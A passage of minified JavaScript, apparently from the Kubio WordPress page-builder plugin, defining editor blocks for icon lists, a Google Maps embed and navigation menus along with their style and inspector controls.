t={styledComponent:aT};return{value:e.getStyle("width",null,t),onChange:o=>{e.setStyle("width",o,t),e.setStyle("height",o,t)},onReset:()=>{const o={...t,unset:!0};e.setStyle("width",null,o),e.setStyle("height",null,o)}}})()}))))((({computed:e})=>{const{size:t}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",style:aT,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon hover color","kubio"),path:"fill",state:"hover",style:aT,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon disabled color","kubio"),path:"fill",state:"customDisabled",style:aT,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Icon size","kubio"),max:100,...t}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon indent","kubio"),max:100,default:20,path:"padding.left",style:aT,type:Ne.WithDataPathTypes.STYLE})]})})),bT=()=>(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Text","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,style:iT}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:iT}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text disabled color","kubio"),path:"typography.color",state:"customDisabled",type:Ne.WithDataPathTypes.STYLE,style:iT}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Text indent","kubio"),max:100,path:"margin.left",style:iT,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link hover color","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:nT,state:"hover"})]}),gT=(0,De.compose)((0,Ne.withComputedData)((e=>{const t=e.getProp("divider"),o=e.getStyle("flexDirection",null,{styledComponent:tT})===qE,n=(()=>{const t={styledComponent:sT},n=o?"padding.left":"padding.top",a=e.getStyle(n,null,t),i=n=>{let a=["top","bottom","left","right"].reduce(((e,t)=>{je().set(e,[t,"value"],0)}),{});a=o?je().merge(a,{left:n,right:n}):je().merge(a,{top:n,bottom:n}),e.setStyle("padding",a,t)};return{value:a,onChange:i,onReset:()=>{i({unit:"px",value:10})}}})(),a=o?"left":"bottom",i=o?"bottom":"left",r={sides:[a]};return{border:(()=>{const t={styledComponent:rT};return{value:e.getStyle("border",{},t),onChange:o=>{const n=je().get(o,a),r=je().cloneDeep(n);je().set(r,["width","value"],0),je().set(o,i,r),e.setStyle("border",o,t)},onReset:()=>{const o={style:"solid",color:"rgb(0,0,0)",width:{value:1,unit:"px"}},n={};["bottom"].forEach((e=>{je().set(n,e,o)})),e.setStyle("border",n,{...t,mergeData:!1})}}})(),dividerSize:(()=>{const t=o?(0,We.__)("Height","kubio"):(0,We.__)("Width","kubio"),n=o?"height":"width",a={styledComponent:rT};return{label:t,value:e.getStyle(n,null,a),onChange:t=>{e.setStyle(n,t,a)},onReset:()=>{e.setStyle(n,{value:100,unit:"%"},a)}}})(),borderFilters:r,spacingData:n,divider:t}})))((({computed:e})=>{const{divider:t,spacingData:o,border:n,borderFilters:a,dividerSize:i}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("List","kubio"),children:[(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Item spacing","kubio"),...o}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Divider","kubio"),type:Ne.WithDataPathTypes.PROP,path:"divider.enabled"}),t.enabled&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.BorderControl,{...n,showLabel:!1,showIcon:!1,filters:a}),(0,Je.jsx)(ut.RangeWithUnitControl,{defaultUnit:"%",min:0,max:100,capMax:!0,capMin:!0,...i})]})]})})),yT=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(gT,{}),(0,Je.jsx)(hT,{}),(0,Je.jsx)(bT,{})]}),kT=e=>{const{clientId:t}=e,{insertBlocks:o,selectBlock:n}=(0,Le.useDispatch)("core/block-editor"),{getBlock:a}=(0,Le.useSelect)((e=>{const{getBlock:t}=e("core/block-editor");return{getBlock:t}}));return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:Da,title:(0,We.__)("Add","kubio"),onClick:()=>{const e=a(t);if(e.innerBlocks.length<1)return;const i=(0,gt.cloneBlock)(e.innerBlocks[e.innerBlocks.length-1]);o([i],e.innerBlocks.length,t,!0),n(t)}})})})})},fT=[hn.ICON_LIST_ITEM],_T={styledComponent:tT},vT=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>({listLayoutByMedia:e.getStyleByMedia("flexDirection","",_T)}))),(0,Ne.withStyledElements)((({computed:e})=>{const{listLayoutByMedia:t}=e;return{[tT]:()=>{const e={column:"vertical",row:"horizontal"},o=[];return je().each(t,((t,n)=>{const a=e[t];o.push(`list-type-${a}-on-${n}`)})),{className:o}}}}))),xT=vT((e=>{const{StyledElements:t,clientId:o,isSelected:n}=e,a=bn({},{templateLock:!1,renderAppender:!1,allowedBlocks:fT,__experimentalAppenderTagName:"li"});return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(kT,{isSelected:n,clientId:o}),(0,Je.jsx)(t.Outer,{...a})]})})),CT=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(mT,{...e}),(0,Je.jsx)(yT,{...e}),(0,Je.jsx)(xT,{...e})]})})),IT=(0,We.__)("Create beautiful lists of items and their icons. Style their spacing, borders, shadows, color, and typography.","kubio"),ET={name:"kubio/iconlist",title:"Icon List",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{flexDirection:"column",justifyContent:"center",alignContent:"center"},item:{},icon:{width:{value:16,unit:"px"},height:{value:16,unit:"px"}},text:{margin:{left:{unit:"px",value:10}}},"divider-wrapper":{alignItems:"center"},"text-wrapper":{alignItems:"center"},divider:{border:{bottom:{style:"solid",width:{value:1,unit:"px"}},left:{style:"solid",width:{value:1,unit:"px"}}}}}},props:{divider:{enabled:!1}}},elementsEnum:{OUTER:"outer",ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{outer:{wrapper:!0,default:!0,props:{tag:"ul",className:"ul-list-icon"}},item:{selector:{normal:".wp-block-kubio-iconlistitem__item",hover:".wp-block-kubio-iconlistitem__item:hover",customDisabled:".kubio-is-disabled.wp-block-kubio-iconlistitem__item"}},text:{selector:{normal:".wp-block-kubio-iconlistitem__text",hover:".wp-block-kubio-iconlistitem__text:hover",customDisabled:".kubio-is-disabled .wp-block-kubio-iconlistitem__text"}},"text-wrapper":{selector:" .wp-block-kubio-iconlistitem__text-wrapper"},icon:{selector:{normal:".wp-block-kubio-iconlistitem__icon",hover:".wp-block-kubio-iconlistitem__icon:hover",customDisabled:".kubio-is-disabled .wp-block-kubio-iconlistitem__icon"}},link:{selector:{normal:"a",hover:"a:hover, a:hover .wp-block-kubio-iconlistitem__text",visited:"a:visited, a:visited .wp-block-kubio-iconlistitem__text"}},divider:{selector:" .wp-block-kubio-iconlistitem__divider"},"divider-wrapper":{selector:" .wp-block-kubio-iconlistitem__divider-wrapper"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},TT=(0,Sn.extendBlockMeta)(ET,{title:(0,We.__)("Icon List","kubio"),icon:Tn.BlockIcons.IconList,keywords:[(0,We.__)("icon","kubio"),(0,We.__)("list","kubio")],apiVersion:2,supports:{kubio:{elementsByName:uT},reusable:!1,html:!1},edit:CT,save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:IT}:e,innerBlocksDisableInBetweenInserter:!0}),ST={ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},wT={[ST.OUTER]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}},[ST.ITEM]:{label:(0,We.__)("Item wrapper","kubio"),internal:!0},[ST.TEXTWRAPPER]:{label:(0,We.__)("Item","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}},[ST.DIVIDER]:{label:(0,We.__)("Divider","kubio"),supports:{styles:[jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}}},PT=(0,De.compose)((0,Le.withSelect)(((e,{clientId:t})=>{const o=e("core/block-editor").getBlockRootClientId(t);return{siblings:e("core/block-editor").getBlocks(o)}})),(0,Ne.refreshOnParentChange)(!0),(0,Ne.withColibriDataAutoSave)((e=>{const t=e.withParent().getProp("divider.enabled"),o=e.withSiblings(),n=je().get(o,[0,"clientId"])===e.clientId,a=je().get(o,[o.length-1,"clientId"])===e.clientId;let i=e.getAttribute("text");i=i.replace(/\r?\n/g,"<br />");const r=e.getAttribute("disabledItem");return{isLastChild:a,isFirstChild:n,item:e.getAttribute("item"),icon:e.getAttribute("icon"),link:r?null:e.getAttribute("link"),text:i,dividerEnabled:t,disabledItem:r}})),(0,Ne.withStyledElements)((({computed:e}={})=>{const{item:t,icon:o,disabledItem:n}=e;return{[ST.ITEM]:{name:t,className:()=>{const e=[];return n&&e.push("kubio-is-disabled"),e}},[ST.ICON]:{name:o}}})),(0,Ne.withRedirectSelectionToParent)()),AT=PT((e=>{const{StyledElements:t,computed:o}=e,{isLastChild:n,isFirstChild:a,text:i,link:r,dividerEnabled:s}=o;return(0,Je.jsxs)(t.Item,{children:[a&&(0,Je.jsx)(t.DividerWrapper,{className:"first-el-spacer"}),(0,Je.jsx)(ut.LinkWrapper,{link:r,children:(0,Je.jsxs)(t.TextWrapper,{children:[(0,Je.jsx)(t.Icon,{tag:ut.CanvasIcon}),(0,Je.jsx)(t.Text,{dangerouslySetInnerHTML:{__html:i}})]})}),n&&(0,Je.jsx)(t.DividerWrapper,{className:"last-el-spacer"}),(0,Je.jsx)(t.DividerWrapper,{children:s&&(0,Je.jsx)(t.Divider,{})})]})})),jT=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(AT,{...e})})})),BT={name:"kubio/iconlistitem",title:"Icon list item",category:"kubio-basic",usesContext:["text","icon"],parent:["kubio/iconlist"],attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Icon List item"},icon:{type:"string",default:"font-awesome/plus"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},useForAll:{type:"boolean",default:!1},disabledItem:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{item:{wrapper:!1,default:!0,props:{tag:"li"}},link:{props:{tag:"a"}},icon:{props:{tag:"icon"}},text:{props:{tag:"span"}},"text-wrapper":{},"divider-wrapper":{},divider:{}},template:{type:"element",props:{name:"item"},children:[{type:"element",props:{name:"divider-wrapper",className:["first-el-spacer"],shouldRender:"computed.isFirstChild"}},{type:"LinkWrapper",children:[{type:"element",props:{name:"text-wrapper"},children:[{type:"element",props:{name:"icon"}},{type:"element",props:{name:"text"}}]}]},{type:"element",props:{name:"divider-wrapper",className:["last-el-spacer"],shouldRender:"computed.isLastChild"}},{type:"element",props:{name:"divider-wrapper"},children:[{type:"element",props:{name:"divider",shouldRender:"computed.dividerEnabled"}}]}]}}}},NT=(0,Sn.extendBlockMeta)(BT,{title:(0,We.__)("Icon list item","kubio"),icon:Tn.BlockIcons.IconList,apiVersion:2,supports:{kubio:{elementsByName:wT},reusable:!1,html:!1,lightBlockWrapper:!0},edit:jT,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.text})}),OT={IconListComponent:$,IconListItem:K};var RT=o(7418),DT=o.n(RT),LT=function(){return LT=Object.assign||function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var a in t=arguments[o])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e},LT.apply(this,arguments)};const MT=function(e){for(var t=e.url,o=e.allowFullScreen,n=e.position,a=e.display,i=e.height,r=e.width,s=e.overflow,l=e.styles,u=e.onLoad,c=e.onMouseOver,p=e.onMouseOut,d=e.scrolling,m=e.id,h=e.frameBorder,b=e.ariaHidden,g=e.sandbox,y=e.allow,k=e.className,f=e.title,_=e.ariaLabel,v=e.ariaLabelledby,x=e.name,C=e.target,I=e.loading,E=e.importance,T=e.referrerpolicy,S=e.allowpaymentrequest,w=e.src,P=DT()({src:w||t,target:C||null,style:{position:n||null,display:a||"block",overflow:s||null},scrolling:d||null,allowpaymentrequest:S||null,importance:E||null,sandbox:g||null,loading:I||null,styles:l||null,name:x||null,className:k||null,referrerpolicy:T||null,title:f||null,allow:y||null,id:m||null,"aria-labelledby":v||null,"aria-hidden":b||null,"aria-label":_||null,width:r||null,height:i||null,onLoad:u||null,onMouseOver:c||null,onMouseOut:p||null}),A=Object.create(null),j=0,B=Object.keys(P);j<B.length;j++){var N=B[j];null!=P[N]&&(A[N]=P[N])}for(var O=0,R=Object.keys(A.style);O<R.length;O++){var D=R[O];null==A.style[D]&&delete A.style[D]}if(o)if("allow"in A){var L=A.allow.replace("fullscreen","");A.allow=("fullscreen "+L.trim()).trim()}else A.allow="fullscreen";return h>=0&&(A.style.hasOwnProperty("border")||(A.style.border=h)),Gr().createElement("iframe",LT({},A))},WT="outer",HT="wrapper",GT="iframe",UT={[WT]:{label:(0,We.__)("Outer","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}},[HT]:{label:(0,We.__)("Wrapper","kubio"),internal:!0},[GT]:{label:(0,We.__)("Iframe","kubio"),internal:!0}},FT=(0,De.compose)((0,Ne.withColibriData)((e=>{let t=e.getAttribute("address");t||(t="New York");const o=e.getAttribute("zoom");return{address:t,apiKey:e.getAttribute("apiKey"),zoom:o}})),(0,Ne.withStyledElements)((({computed:e}={})=>{const{address:t,zoom:o,apiKey:n}=e,a=e=>Object.entries(e).map((e=>e.map(encodeURIComponent).join("="))).join("&");let i;return i=n?"https://www.google.com/maps/embed/v1/place?"+a({key:n,q:t,zoom:null==o?void 0:o.value}):"https://maps.google.com/maps?"+a({q:t,z:null==o?void 0:o.value,output:"embed",iwloc:"near"}),{[WT]:{},[HT]:{},[GT]:{src:i,loading:"lazy"}}}))),zT=FT((e=>{const{StyledElements:t}=e;return(0,Je.jsx)(t.Outer,{children:(0,Je.jsx)(t.Wrapper,{children:(0,Je.jsx)(t.Iframe,{tag:MT})})})})),VT={units:[{label:"PX",value:"px"}],optionsByUnit:{px:{min:200,max:1e3,step:1}}},YT=()=>(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Map Properties","kubio"),children:[(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Address","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"address"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Zoom","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,max:15,min:1,path:"zoom"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Height","kubio"),type:Ne.WithDataPathTypes.STYLE,style:WT,max:1e3,min:200,default:350,capMin:!0,path:"height",...VT}),(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsxs)(Re.BaseControl.VisualLabel,{children:["API key (",(0,Je.jsx)("a",{href:"https://developers.google.com/maps/documentation/embed/get-api-key",target:"_blank",rel:"noreferrer",children:"Get your API key here"}),")"]})}),(0,Je.jsx)(ut.InputControlWithPath,{type:Ne.WithDataPathTypes.ATTRIBUTE,path:"apiKey"})]}),$T=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(YT,{})}),KT=(0,Ne.withPropsChecker)((e=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)($T,{}),(0,Je.jsx)(zT,{...e})]}))),qT={name:"kubio/map",category:"kubio-components",attributes:{kubio:{type:"object"},address:{type:"string",default:"New York"},apiKey:{type:"string",default:""},zoom:{type:"object",default:{value:5}}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{height:{value:350,unit:"px"}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",IFRAME:"iframe"},elementsByName:{outer:{wrapper:!0,default:!0},wrapper:{},iframe:{props:{className:["map-iframe"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"wrapper"},children:[{type:"element",props:{name:"iframe",tag:"iframe"}}]}]}}}},XT=(0,Sn.extendBlockMeta)(qT,{title:(0,We.__)("Map","kubio"),description:(0,We.__)("Embed Google Maps, insert your desired address, adjust zoom, height, and hover behavior.","kubio"),icon:Tn.BlockIcons.Map,keywords:[(0,We.__)("map","kubio"),(0,We.__)("google map","kubio"),(0,We.__)("location","kubio"),(0,We.__)("address","kubio")],apiVersion:2,supports:{kubio:{elementsByName:UT},reusable:!1,html:!1},edit:KT}),QT=window.kubio.menuData,ZT=["header-menu","footer-menu"],JT=(e,t="")=>{const o=(0,Me.useRef)(null);return o.current=(0,Le.useSelect)((n=>{if(null!==o.current)return o.current;const{getBlockParents:a,getBlock:i,getClientIdsWithDescendants:r,getBlocksByClientId:s}=n("core/block-editor"),l=a(e),u=i((0,Ae.first)(l)),c=s(r([e])),{location:p}=i(e).attributes;let d="",m=!1;if(c.filter(Boolean).forEach((e=>{const t=(0,Ae.get)(e,"attributes.location",null);e&&"kubio/menu-items"===(null==e?void 0:e.name)&&ZT.includes(t)&&(m=!0)})),(0,Ze.isGutentagPrefixed)(null==u?void 0:u.name)){if(-1!==u.name.indexOf("/header")){if(p&&-1!==p.indexOf("header"))return p;d=m?"header-menu-secondary":"header-menu"}if(-1!==u.name.indexOf("/footer")){if(p&&-1!==p.indexOf("footer"))return p;d=m?"footer-menu-secondary":"footer-menu"}}return d||t}),[e]),(0,Me.useMemo)((()=>o.current),[e])},{DROPDOWN_MENU:eS,ACCORDION_MENU:tS}=hn,oS=e=>-1!==[eS,tS].indexOf(e),nS=(0,Ne.withHooks)(((e,t)=>{var o,n,a,i,r,s;const{getBlockParents:l,getBlocksByClientId:u,getBlock:c,getBlocks:p}=t("core/block-editor"),{clientId:d,name:m}=e,h=u(l(d));let b;b=oS(m)?c(d):(0,Ae.last)((0,Ae.filter)(h,(e=>(null==e?void 0:e.name)&&oS(e.name))));const g=(0,Ae.find)(null===(o=b)||void 0===o?void 0:o.innerBlocks,{name:hn.MENU_ITEMS}),y=(0,Ae.find)(p(null===(n=b)||void 0===n?void 0:n.clientId),{name:hn.MENU_OFFSCREEN}),{menuLocations:k}=(0,QT.useMenusLocations)(),f=null==g||null===(a=g.attributes)||void 0===a?void 0:a.location,_=f?k.filter((({name:e})=>e===f)).map((({menu:e})=>e))[0]:null==g||null===(i=g.attributes)||void 0===i?void 0:i.id,v=je().get(b,["attributes","hideSubmenu"]);return(0,Me.useMemo)((()=>{var e,t,o;return{menuClientId:null===(e=b)||void 0===e?void 0:e.clientId,menuLocation:f,menuId:_,menuName:null===(t=b)||void 0===t?void 0:t.name,menuItemsClientId:null==g?void 0:g.clientId,offscreenClientId:null==y?void 0:y.clientId,displayPseudoSelectorsDiv:(null===(o=b)||void 0===o?void 0:o.name)===eS,hideSubmenu:v}}),[null===(r=b)||void 0===r?void 0:r.clientId,null===(s=b)||void 0===s?void 0:s.name,f,_,null==g?void 0:g.clientId,null==y?void 0:y.clientId,v])})),aS="__CREATE_NEW__";function iS(e,t){return e&&t?(0,We.sprintf)(// translators: %s is for the menu location name // translators: %s is for the menu location name (0,We.__)("Use an existing menu for `%s` location, or create a new one","kubio"),t.description):!e&&t?(0,We.sprintf)(// translators: %s menu location name // translators: %s menu location name (0,We.__)("Create a new menu for `%s` location","kubio"),t.description||t):e&&!t?(0,We.__)("Use an existing menu, or create a new one","kubio"):(0,We.__)("Create a new menu.","kubio")}const rS=(0,Me.forwardRef)((function({location:e,onSelect:t,onChange:o},n){const[a,i]=(0,Me.useState)(""),[r,s]=(0,Me.useState)(!1),[l,u]=(0,Me.useState)(""),{menus:c,isResolvingMenus:p,hasResolvedMenus:d}=(0,Le.useSelect)((e=>{const{getMenus:t,isResolving:o,hasFinishedResolution:n,getMenuLocations:a}=e("core"),i=[{per_page:-1}];return{menus:t(...i),isResolvingMenus:o("getMenus",i),hasResolvedMenus:n("getMenus",i),getMenuLocations:a}}),[a]),{saveMenu:m}=(0,Le.useDispatch)("core"),h=!(!d||null==c||!c.length),b=p||r,{updateLocationMenu:g}=(0,QT.useMenusLocations)(),y=(0,Me.useMemo)((()=>[{id:"",name:(0,We.__)("Select menu","kubio")},...h?c:[],{id:aS,name:(0,We.__)("Create new menu","kubio")}].filter(Boolean)),[c,h]),k=async()=>{const n=a||aS;let i=n;if(s(!0),n===aS){const e=await m({name:l});e&&(i=e.id)}e&&i?g(e,i):t(i),o(i)},f=(0,Me.useMemo)((()=>!(a||!y.length)||(a||y.length?a===aS&&0===l.trim().length:0===l.trim().length)),[a,l,y]);return b?(0,Je.jsx)(ut.LoadingPlaceholder,{message:(0,We.__)("Loadingβ¦","kubio")}):(0,Je.jsx)(ut.BlockPlaceholder,{icon:Tn.BlockIcons.DropdownMenu,title:(0,We.__)("Kubio Menu","kubio"),description:iS(h,e),children:(0,Je.jsx)("div",{ref:n,className:"wp-block-navigation-placeholder__actions",children:(0,Je.jsxs)(Re.BaseControl,{children:[(0,Je.jsxs)(Re.Flex,{direction:"column",children:[y.length>0&&(0,Je.jsx)(Re.FlexBlock,{children:(0,Je.jsxs)(Re.BaseControl,{children:[(0,Je.jsx)(Re.BaseControl.VisualLabel,{children:(0,We.__)("Select menu","kubio")}),(0,Je.jsx)(ut.GutentagSelectControl,{className:Ge()("wp-block-navigation-placeholder__select-control",{"has-menus":h}),value:a,onChange:e=>{i(e)},options:y.map((({id:e,name:t})=>({value:e,label:t})))})]})}),(a===aS||!y.length)&&(0,Je.jsx)(Re.FlexBlock,{children:(0,Je.jsx)(Re.BaseControl,{className:"kubio-create-menu-form",children:(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Menu name","kubio"),className:"kubio-create-menu-input",value:l,onChange:u,onEnter:k,placeholder:(0,We.__)("Please set a name","kubio")})})})]}),(0,Je.jsx)(Re.Flex,{children:(0,Je.jsx)(Re.FlexItem,{children:(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.Button,{isSecondary:!0,className:"wp-block-navigation-placeholder__button",disabled:f,isBusy:r,onClick:k,children:a!==aS&&y.length?(0,We.__)("Use selected menu","kubio"):(0,We.__)("Create","kubio")})})})})]})})})})),sS=(0,Je.jsx)(Re.SVG,{className:"kubio-menu-item-icon",role:"img",viewBox:"0 0 320 512",children:(0,Je.jsx)(Re.Path,{d:"M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"})}),lS=({item:e,items:t,nestedLevel:o,isFirst:n,displayPseudoSelectorsDiv:a=!1,openedReversedFromParent:i=!1,hideSubmenu:r})=>{const[s,l]=(0,Me.useState)(!1),[u,c]=(0,Me.useState)(!1),p=(0,Me.useRef)(),d=(0,Me.useMemo)((()=>t.find((t=>t.parent===e.id))),[e,t]);return(0,Je.jsxs)("li",{ref:p,style:{"--kubio-menu-item-depth":o},className:Ge()({"menu-item-has-children":d,"current-menu-item":n,open:s}),onMouseOver:()=>{const e=p.current;if(!e||!d||o<1)return;const t=e.ownerDocument.defaultView,n=e.getBoundingClientRect().left+e.offsetWidth+300>(null==t?void 0:t.innerWidth);!u&&n&&c(!0),u&&!n&&c(!1)},onClick:e=>{e.stopPropagation(),e.preventDefault(),d&&l(!s)},children:[(0,Je.jsxs)("div",{className:"kubio-menu-item-link",children:[n&&a&&(0,Je.jsx)("div",{className:"kubio-menu-item-link-editor-before-after"}),(0,Je.jsx)("span",{dangerouslySetInnerHTML:{__html:null==e?void 0:e.label}}),d&&!r&&sS]}),d&&(0,Je.jsx)(uS,{items:t,parent:e.id,nestedLevel:o+1,openedReversed:u||i,hideSubmenu:r})]})},uS=({items:e=[],parent:t=0,nestedLevel:o=0,displayPseudoSelectorsDiv:n=!1,openedReversed:a=!1,hideSubmenu:i=!1})=>{const r=(0,Me.useMemo)((()=>e.filter((e=>e.parent===t))),[e,t]),s=(0,Me.useMemo)((()=>0===t?Ge()("kubio-has-gap-fallback"):Ge()("kubio-submenu__container",{"open-reverse":a})),[t,a]);return r.length?o>0&&i?(0,Je.jsx)(Je.Fragment,{}):(0,Je.jsx)("ul",{className:s,children:r.map(((r,s)=>(0,Je.jsx)(lS,{item:r,items:e,nestedLevel:o,isFirst:0===t&&0===s,displayPseudoSelectorsDiv:n,openedReversedFromParent:a,hideSubmenu:i},r.id)))}):(0,Je.jsx)(ut.SmallPlaceholder,{message:(0,We.__)("Menu has no items","kubio")})},cS=({displayPseudoSelectorsDiv:e=!1,hideSubmenu:t=!1})=>{const{isResolving:o,hasResolved:n,items:a}=(0,QT.useMenuBlockEditor)(),[i,r]=(0,Me.useState)(!0);return(0,Me.useLayoutEffect)((()=>{r(o||!n)}),[n,o]),i?(0,Je.jsx)(ut.LoadingPlaceholder,{message:(0,We.__)("Loading menuβ¦","kubio")}):(0,Je.jsx)(uS,{items:a,hideSubmenu:t,displayPseudoSelectorsDiv:e})},pS=({id:e,location:t,onChangeMenuId:o,clientId:n,menuClientId:a,displayPseudoSelectorsDiv:i=!1,hideSubmenu:r})=>{const{isResolvingLocations:s,foundLocation:l,onSelect:u,menuId:c}=((e,t,o=null)=>{const{menuLocations:n,isResolvingLocation:a}=(0,QT.useMenusLocations)(),[i,r]=(0,Me.useState)((()=>(0,Ae.find)(n,{name:t})||null)),[s,l]=(0,Me.useState)(-1);return(0,Me.useEffect)((()=>{if(t&&null!==n){const e=(0,Ae.find)(n,{name:t}),o=null==e?void 0:e.menu;-1!==o&&o===s||(r(e),l(o))}else l(e)}),[e,n,t,s]),{isResolvingLocations:a,onSelect:e=>{l(e),!t&&o&&o(e)},foundLocation:i,menuId:s}})(e,t,o),{selectBlock:p}=(0,Le.useDispatch)("core/block-editor");return s?(0,Je.jsx)(ut.LoadingPlaceholder,{message:(0,We.__)("Loading locationsβ¦","kubio")}):t&&null===l?(0,Je.jsx)(ut.LoadingPlaceholder,{message:(0,We.__)("Invalid Menu Location","kubio")}):c?(0,Je.jsx)(QT.MenuEntityProvider,{id:c,children:(0,Je.jsx)(cS,{clientId:n,displayPseudoSelectorsDiv:i,hideSubmenu:r})}):(0,Je.jsx)(rS,{onSelect:u,location:null==l?void 0:l.name,onChange:()=>p(a)})},dS="main-menu-ul",mS="main-menu-li",hS="main-menu-a",bS="main-menu-icon",gS="sub-menu-ul",yS="sub-menu-li",kS="sub-menu-a",fS="sub-menu-icon",_S="first-sub-menu-ul-before",vS="first-sub-menu-ul",xS={[dS]:{label:(0,We.__)("Main menu","kubio"),group:{key:"main-menu",label:(0,We.__)("Main menu ","kubio")},supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER],states:[jn.StatesEnum.NORMAL]}},[mS]:{label:(0,We.__)("Menu item","kubio"),selector:{[jn.StatesEnum.NORMAL]:"> .kubio-menu > ul > li"},supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER],states:[jn.StatesEnum.NORMAL]}},[hS]:{label:(0,We.__)("Menu item link","kubio"),selector:{[jn.StatesEnum.NORMAL]:"> .kubio-menu > ul > li > .kubio-menu-item-link",[jn.StatesEnum.HOVER]:"> .kubio-menu > ul > li:hover > .kubio-menu-item-link",[jn.StatesEnum.MENU_BUTTON_ACTIVE]:["> .kubio-menu > ul > li.current-menu-item > .kubio-menu-item-link","> .kubio-menu > ul > li.current_page_item > .kubio-menu-item-link"].join(",")},supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:[jn.StatesEnum.NORMAL,jn.StatesEnum.HOVER,jn.StatesEnum.MENU_BUTTON_ACTIVE]}},[bS]:{label:(0,We.__)("Menu icon","kubio"),selector:"> .kubio-menu > ul > li > .kubio-menu-item-link > 